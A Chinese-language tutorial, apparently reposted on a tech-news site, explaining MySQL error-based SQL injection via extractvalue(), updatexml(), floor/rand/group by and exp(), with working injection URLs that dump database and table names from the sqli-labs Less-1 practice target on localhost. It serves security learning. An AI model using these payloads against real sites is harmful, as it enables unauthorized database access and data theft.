广告
返回顶部
首页 > 资讯 > 精选 >SQL报错注入的示例分析
  • 396
分享到

SQL报错注入的示例分析

2023-06-29 06:06:34 396人浏览 薄情痞子
摘要

小编给大家分享一下sql报错注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL报错注入概述通过构造特定的SQL语句,让攻击者想要查询的信息(如数据

小编给大家分享一下sql报错注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

    SQL报错注入概述

    通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面面的错误提示回显出来。

    报错注入的前提条件

    • WEB应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上

    • 后台未对一些具有报错功能的函数(如extractvalue、updatexml等)进行过滤

    Xpath类型函数

    extractvalue()

    作用:对XML文档进行查询,相当于在html文件中用标签查找元素。

    语法: extractvalue( XML_document, XPath_string )

    • 参数1:XML_document是String格式,为XML文档对象的名称

    • 参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方

    报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘

    updatexml()

    作用:改变文档中符合条件的节点的值。

    语法: updatexml( XML_document, XPath_string, new_value )

    • 参数1:XML_document是String格式,为XML文档对象的名称

    • 参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方

    • 参数3:new_value,String格式,替换查找到的符合条件的数据

    报错原理:同extractvalue()

    其他函数

    floor()、rand()、count()、group by联用

    作用

    floor(x):对参数x向下取整

    rand():生成一个0~1之间的随机浮点数

    count(*):统计某个表下总共有多少条记录

    group by x: 按照 (by) 一定的规则(x)进行分组

    报错原理:group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错

    exp()(5.5.5<= MySQL数据库版本号<=5.5.49)

    作用:计算以e(自然常数)为底的幂值

    语法: exp(x)

    报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is of range:

    Mysql数据库报错功能函数总汇

    SQL报错注入的示例分析

    报错注入实例

    extractvalue()

    依然用sqli/Less-1

    直接用报错函数进行暴库操作

    暴库
    Http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat('~',database())) --+

    SQL报错注入的示例分析

    暴表
    http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from infORMation_schema.tables where table_schema='security'))) --+

    SQL报错注入的示例分析

    后面的步骤大致相同,不再演示

    updatexml()

    暴库
    http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat('~',database()),1) --+
    暴表
    http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

    SQL报错注入的示例分析

    以上是“SQL报错注入的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注编程网精选频道!

    --结束END--

    本文标题: SQL报错注入的示例分析

    本文链接: https://www.lsjlt.com/news/323112.html(转载时请注明来源链接)

    有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

    本篇文章演示代码以及资料文档资料下载

    下载Word文档到电脑,方便收藏和打印~

    下载Word文档
    猜你喜欢
    • SQL报错注入的示例分析
      小编给大家分享一下SQL报错注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL报错注入概述通过构造特定的SQL语句,让攻击者想要查询的信息(如数据...
      99+
      2023-06-29
    • SQL注入的示例分析
      这篇文章主要为大家展示了“SQL注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL注入的示例分析”这篇文章吧。SQL注入攻击的总体思路 ...
      99+
      2022-10-18
    • sql注入之手工注入的示例分析
      这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字...
      99+
      2022-10-18
    • SQL注入绕过的示例分析
      这篇文章主要介绍了SQL注入绕过的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。前言sql注入在很早很早以前是很常见的一个漏洞。后来...
      99+
      2022-10-18
    • 报错型sql注入原理分析
      0x00:前言  关于sql注入,经久不衰,现在的网站一般对sql注入的防护也相对加强了,2016年的***测试报告中,出现最多的是xss(跨站脚本***)和明文传输等,但是对...
      99+
      2022-10-18
    • sql注入报错之注入原理实例解析
      目录前言0x010x020x03总结前言 我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理...
      99+
      2022-06-13
      sql注入 报错注入 SQL报错注入 sql注入报错
    • 数据库中sql注入的示例分析
      这篇文章将为大家详细讲解有关数据库中sql注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。首先可能大家都会问什么是sqlSql是数据库的一种类型,是用来存储网...
      99+
      2022-10-18
    • SQL注入漏洞过程的示例分析
      这篇文章将为大家详细讲解有关SQL注入漏洞过程的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。代码示例:public class JDBCDe...
      99+
      2022-10-18
    • 数据库之SQL注入的示例分析
      小编给大家分享一下数据库之SQL注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、产生SQL注入原因开发代码的时候没有全面考虑到网络安全性,特别是在...
      99+
      2023-06-20
    • SQL Server中WAITFOR DELAY注入的示例分析
      这篇文章主要为大家展示了“SQL Server中WAITFOR DELAY注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL Server中WAITFOR DELAY注入的示例分...
      99+
      2023-06-04
    • pymysql解决sql注入问题的示例分析
      这篇文章将为大家详细讲解有关pymysql解决sql注入问题的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1. SQL 注入SQL 注入是非常常见的一种网络攻击...
      99+
      2022-10-18
    • sql注入之类型以及提交注入的示例分析
      这篇文章主要介绍sql注入之类型以及提交注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!参数类型这里说的参数是源码中存在注入的地方。其中参数类型有:数字、字符、搜索、json等。其中sql语句干扰符号有:...
      99+
      2023-06-20
    • Mybatis的SQL注入实例分析
      本文小编为大家详细介绍“Mybatis的SQL注入实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“Mybatis的SQL注入实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。前言MyBatis3提供了...
      99+
      2023-06-29
    • 常用的攻击手段SQL注入的示例分析
      这篇文章主要介绍常用的攻击手段SQL注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!一、概述1. 攻击原理SQL注入是较常见的网络攻击方式之一,主要针对WEB应用,利用程序员编写代码的疏忽,对于连接数据库...
      99+
      2023-06-27
    • Angular4依赖注入的示例分析
      这篇文章给大家分享的是有关Angular4依赖注入的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。基础知识Angular CLI 基本使用1、安装 Angular CLI...
      99+
      2022-10-19
    • Spring依赖注入的示例分析
      这篇文章给大家分享的是有关Spring依赖注入的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。一.依赖简介一个典型的企业应用程序不是由一个单一的对象组成(或Spring的说法中的bean)。即使是最简单的...
      99+
      2023-06-03
    • Mysql中Sql语句注释的示例分析
      这篇文章主要介绍了Mysql中Sql语句注释的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。MySQL的SQL语句里面是可以加注释的...
      99+
      2022-10-18
    • Vue中依赖注入的示例分析
      这篇文章主要介绍了Vue中依赖注入的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。简单粗暴型:<el-select ...
      99+
      2022-10-19
    • Angular中依赖注入的示例分析
      这篇文章主要介绍Angular中依赖注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!依赖注入:设计模式依赖:程序里需要的某种类型的对象。依赖注入框架:工程化的框架注入器Injector:用它的API创建依...
      99+
      2023-06-06
    • tempfile报错重建的示例分析
      这期内容当中小编将会给大家带来有关tempfile报错重建的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。 ORA-01187: 無法自檔案 201 讀取資料,...
      99+
      2022-10-19
    软考高级职称资格查询
    编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
    • 官方手机版

    • 微信公众号

    • 商务合作